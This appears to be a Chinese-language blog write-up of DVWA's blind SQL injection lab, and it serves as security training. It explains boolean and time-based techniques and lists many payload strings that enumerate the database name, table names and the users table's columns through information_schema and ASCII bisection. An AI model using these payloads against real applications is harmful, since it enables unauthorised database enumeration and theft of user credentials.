SQL Injection (Blind)`

SQL Injection (Blind)

SQL Injection (Blind) SQL盲注,是一种特殊类型的SQL注入攻击,它的特点是无法直接从页面上看到注入语句的执行结果。在这种情况下,需要利用一些方法进行判断或者尝试,这个过程称之为盲注。

盲注的主要形式有两种:

1、基于布尔的盲注(Boolean based):在某些场合下,页面返回的结果只有两种(正常或错误)。通过构造SQL判断语句,查看页面的返回结果(True or False)来判断哪些SQL判断条件成立,通过此来获取数据库中的数据。

2、基于时间的盲注(Time based):又称延时注入,即使用具有延时功能的函数sleep、benchmark等,通过判断这些函数是否正常执行来获取数据库中的数据。

在 SQL 盲注中,字符型注入通常更容易通过页面上的不同提示来确认注入成功,而数字型注入则可能在页面上不显示直接的区别。这是因为字符型注入可以通过构造不同的字符串来影响 SQL 语句的执行,而数字型注入可能会导致结果为真或假的不同条件,但页面上可能没有直接的可见区别。

Low

1、判断注入类型

代码并没有对参数做过滤或者验证,且页面返回的结果有两种

if ($exists) {
    // 用户存在的处理
    $html .= '<pre>User ID exists in the database.</pre>';
} else {
    // 用户不存在的处理
    header($_SERVER['SERVER_PROTOCOL'] . ' 404 Not Found');
    $html .= '<pre>User ID is MISSING from the database.</pre>';
}

首先判断注入的类型,前文已经提到过 字符型的会有不同的提示证明SQL语句被成功执行,而数字型无论SQL对错页面提示的都是相同的 证明SQL语句并没有被执行

(为字符型注入)

2、判断列数

接下来判断字符段数,通过尝试不同的 ORDER BY 子句中的列数,可以逐步确定实际的列数

通过类似于: 1' ORDER BY 1# 如果查询不出错,则至少为1列

1' ORDER BY 2# 如果查询不出错,则至少为2列

1' ORDER BY 3# 如果查询不出错,则至少为3列

如下,则字段数为2

3、判断数据库名、长度

接下来,判断数据库名长 , length(database()) 可以返回当前数据库名的长度,我们可以通过逻辑条件将其与一个数字进行比较,用以判断

此处,我们已经知道数据库是DVWA,长度确实是4位

1' and length(database())>3 #

1' and length(database())=4 #

1' and length(database())>4 #

判断数据库名称,使用二分法判断数据库的名称, 通过 ASCII(SUBSTR(DATABASE(), 1, 1)) 构造逻辑语句来判断数据库名称的每一个字母的ASCII码

"dvwa" 的 ASCII 码如下:

  • 'd': 100
  • 'v': 118
  • 'w': 119
  • 'a': 97

1' and ascii(substr(database(),1,1))>68 #

1' and ascii(substr(database(),1,1))<127 #

两次存在,第一个字符的ASCII值大于68,小于127 则可以确定是一个字母

1' and ascii(substr(database(),1,1))<100 #

1' and ascii(substr(database(),1,1))>100 #

两次都不存在,则可以确定该字符的ASCII码的值为100,对照可知 第一个字符为" d "

1' and ascii(substr(database(),X,1)) 判断第2、第3、第4位时,X分别为2、3、4

重复上述步骤,则可解出完整库名(dvwa)

4、判断数据库中表名、表长、数量

关于数据库dvwa中 的表的数量 可以用 下列SQL注入字符串 查询返回当前数据库中表的数量,如果数量符合,整个条件将为真。

1' and (select count (table_name) from information_schema.tables where table_schema=database() )

1' AND (SELECT COUNT(table_name) FROM information_schema.tables WHERE table_schema = DATABASE()) = 2#

如上,可知dvwa库中,有两个表

判断表1长度:通过SQL 注入字符串 猜解表长,检查当前数据库中某个表的第一个字符的长度是否为等号后的数字

1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1 #

.
.
.
.
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 #

由下图可见,当条件为 9 的时候 整个条件为真,所以第一个表的名长度为9

判断表2长度:通过SQL 注入字符串 猜解表长,检查当前数据库中某个表的第一个字符的长度是否为等号后的数字 LIMIT 1, 1 表示从结果集中获取第二行,即下一个表的表名。

1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1))=1 # 
.
.
.
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1))=5 #

由下图可见,当条件为 5 的时候 整个条件为真,所以下一个表也就是第二张表名长度为5

猜解表名,此处和前文猜数据库名方法相似,都是构造判断条件,判断字符的ASCII码的值来确定表名。

LIMIT 0, 1 表示从结果集的第一行开始,取一行记录。后面的 ,1)SUBSTR 函数的一部分,用于截取字符串的一部分。

所以我们判断第二个字母的时候 改动部分语句 limit 0,1),2,1)) 同理判断第三个字母时为limit 0,1),3,1))

根据下面的字符串,同理,重复下去可得第一个表的名字为 guestbook

#通过 下面的 SQL 注入尝试已经成功地判断了当前数据库中下一个表的第一个字符的 ASCII 值的范围
#第一个字符的 ASCII 值在97到109之间,但不包括103
#ASCII码103对应的字符是小写字母"g"
#所以第一个表的名字的第一个字符为小写字母"g"


1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97 # 显示存在

1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<122 # 显示存在

1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<109 # 显示存在

1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<103 # 显示不存在

1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>103 # 显示不存在

LIMIT 1, 1), 1, 1) 用于选择 information_schema.tables 表中的第二个表名,并截取该表名的第一个字符。在 SQL 查询中,LIMIT 1, 1 是一个常见的用法,表示从结果集的第二行开始,取一行记录。而 SUBSTR(..., 1, 1) 则是用于截取字符串的子串,这里用于截取表名的第一个字符。

还是同理可得,根据以下的注入字符串,修改参数后,重复下去可得第二表的完整表名 users

1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))>97 # 显示存在

1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))<122 # 显示存在


1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),2,1))>97 # 显示存在

1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),2,1))<122 # 显示存在

此时我们得到两个表的表名 : guestbook、users

5、猜解表中字段数量、段长、段名

判断表中的字段数量,这里我们已经知道了两表中的列数,故不再一个个尝试,用已知数直接进行判断

构造一个逻辑条件,用于检查名为 'users' 的表是否有超过4列的列数,名为"guestbook"的表是否有超过8列的列数。

1' and (select count(column_name) from information_schema.columns where table_name= 'users')>4 #

1' and (select count(column_name) from information_schema.columns where table_name= 'users')=8 #

接下来的判断段长、段名的步骤与判断数据库名、库民长的步骤一致,差异只在于参数的不同,故不再赘述,

我们以users表为例:

用下面的注入字符串不断重复(), 可得users表的字段长分别为7,10,9,4,8,6,10,12

#检查名为 'users' 的表的第一个列名的长度是否为1

1' AND LENGTH(SUBSTR((SELECT column_name FROM information_schema.columns WHERE table_name = 'users' LIMIT 0, 1), 1)) = 1#

......

......

#检查名为 'users' 的表的第一个列名的长度是否为7

1' AND LENGTH(SUBSTR((SELECT column_name FROM information_schema.columns WHERE table_name = 'users' LIMIT 0, 1), 1)) = 7#

关于段名的判断,还是通过ASCII码的值,

检查名为 'users' 的表的第一个列名的第一个字符的 ASCII 值是否大于 97

替换参数,重复下去可得users表的第一个字段名为user_id

1' and ascii(substr((select column_name from information_schema.columns where table_name= 'users' limit 0,1),1))>97#

............

............

1' and ascii(substr((select column_name from information_schema.columns where table_name= 'users' limit 1,1),1))>97#

............

............

重复判断段名的步骤最终得到users表中所有字段名user_id、first_name、last_name、user、password、avatar、last_login、failed_login

(这里太多,太麻烦了,我并没有全部验证,只验证了user_id字段)

Medium

相较于low,medium的代码利用 mysql_real_escape_string 函数对特殊符号进行转义,包括但不限于 \x00, \n, \r, \,, ', ", 和 \x1a。、

但是我们依然可以构造语句进行注入

High

代码使用 cookie 来传递参数 id。如果 SQL 查询结果为空,代码将触发 sleep(seconds) 函数,用于扰乱基于时间的盲注攻击。同时,SQL 查询语句中加入了 LIMIT 1,以确保仅输出一个结果。尽管添加了 LIMIT 1,但通过使用 # 进行注释,我们仍然能够绕过该限制。受限于sleep函数的影响,基于时间的布尔盲注的准确性会受到影响。

相关推荐
weisian15126 分钟前
Redis篇--常见问题篇6--缓存一致性1(Mysql和Redis缓存一致,更新数据库删除缓存策略)
数据库·redis·缓存
中草药z1 小时前
【Spring】深入解析 Spring 原理:Bean 的多方面剖析(源码阅读)
java·数据库·spring boot·spring·bean·源码阅读
地球资源数据云1 小时前
全国30米分辨率逐年植被覆盖度(FVC)数据集
大数据·运维·服务器·数据库·均值算法
Ahern_2 小时前
Oracle 普通表至分区表的分区交换
大数据·数据库·sql·oracle
夜半被帅醒2 小时前
MySQL 数据库优化详解【Java数据库调优】
java·数据库·mysql
不爱学习的啊Biao3 小时前
【13】MySQL如何选择合适的索引?
android·数据库·mysql
破 风3 小时前
SpringBoot 集成 MongoDB
数据库·mongodb
Rverdoser3 小时前
MySQL-MVCC(多版本并发控制)
数据库·mysql
m0_748233643 小时前
SQL数组常用函数记录(Map篇)
java·数据库·sql
dowhileprogramming3 小时前
Python 中的迭代器
linux·数据库·python